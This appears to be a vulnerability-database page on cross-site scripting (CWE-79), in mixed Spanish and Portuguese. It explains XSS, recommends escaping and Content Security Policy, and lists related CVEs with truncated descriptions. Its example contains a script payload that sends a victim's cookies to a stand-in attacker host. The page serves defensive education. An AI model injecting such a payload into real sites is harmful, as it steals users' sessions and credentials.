Fallos del tipo CWE-79

28.647 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2015-9103—Multiple cross-site scripting (XSS) vulnerabilities in Synology Note Station 1.1-0212 and earlier allow remote authenticated attackers to inEPSS 0.8%CVE-2021-25926MEDIUMIn SiCKRAGE, versions 9.3.54.dev1 to 10.0.11.dev1 are vulnerable to Reflected Cross-Site-Scripting (XSS) due to user input not being validatEPSS 0.8%CVE-2026-11443MEDIUMAllegra downloadAttachment Cross-Site Scripting Authentication Bypass VulnerabilityEPSS 0.8%CVE-2020-3406MEDIUMCisco SD-WAN vManage Software Cross-Site Scripting VulnerabilityEPSS 0.8%CVE-2022-29230MEDIUMPotential cross-site scripting (XSS) vulnerability in HydrogenEPSS 0.8%CVE-2021-38359MEDIUMWordPress InviteBox Plugin <= 1.4.1 Reflected Cross-Site ScriptingEPSS 0.8%CVE-2022-0946CRITICALStored XSS viva cshtm file upload in star7th/showdocEPSS 0.8%CVE-2026-32751MEDIUMSiYuan Vulnerable to Remote Code Execution via Stored XSS in Notebook Name - Mobile InterfaceEPSS 0.8%CVE-2024-45177MEDIUMAn issue was discovered in za-internet C-MOR Video Surveillance 5.2401 and 6.00PL01. Due to improper input validation, the C-MOR web interfaEPSS 0.8%CVE-2021-34660MEDIUMWP Fusion Lite <= 3.37.18 Reflected Cross-Site ScriptingEPSS 0.8%CVE-2024-3867MEDIUMTainacan Interface <= 2.7.2 - Reflected Cross-Site ScriptingEPSS 0.8%CVE-2026-76053HIGHTranslatePress <= 3.3.3 - Unauthenticated Stored Cross-Site Scripting via Comment Noise-Key Injection into HTML ParserEPSS 0.8%CVE-2022-36020MEDIUMBypass of Cross-Site Scripting Protection in typo3/html-sanitizerEPSS 0.8%CVE-2021-1130MEDIUMCisco DNA Center Cross-Site Scripting VulnerabilityEPSS 0.8%CVE-2022-21648HIGHSandbox bypass in Latte templatesEPSS 0.8%CVE-2023-32693HIGHDecidim Cross-site Scripting vulnerability in the external link redirectionsEPSS 0.8%CVE-2026-93922HIGHSiYuan through 3.8.4 Stored XSS via notebook namesEPSS 0.8%CVE-2022-30278—A vulnerability in Black Duck Hub’s embedded MadCap Flare documentation files could allow an unauthenticated remote attacker to conduct a crEPSS 0.8%CVE-2022-20778MEDIUMCisco Webex Meetings Cross-Site Scripting VulnerabilityEPSS 0.8%CVE-2021-31851MEDIUMCross-Site Scripting vulnerability in Policy AuditorEPSS 0.8%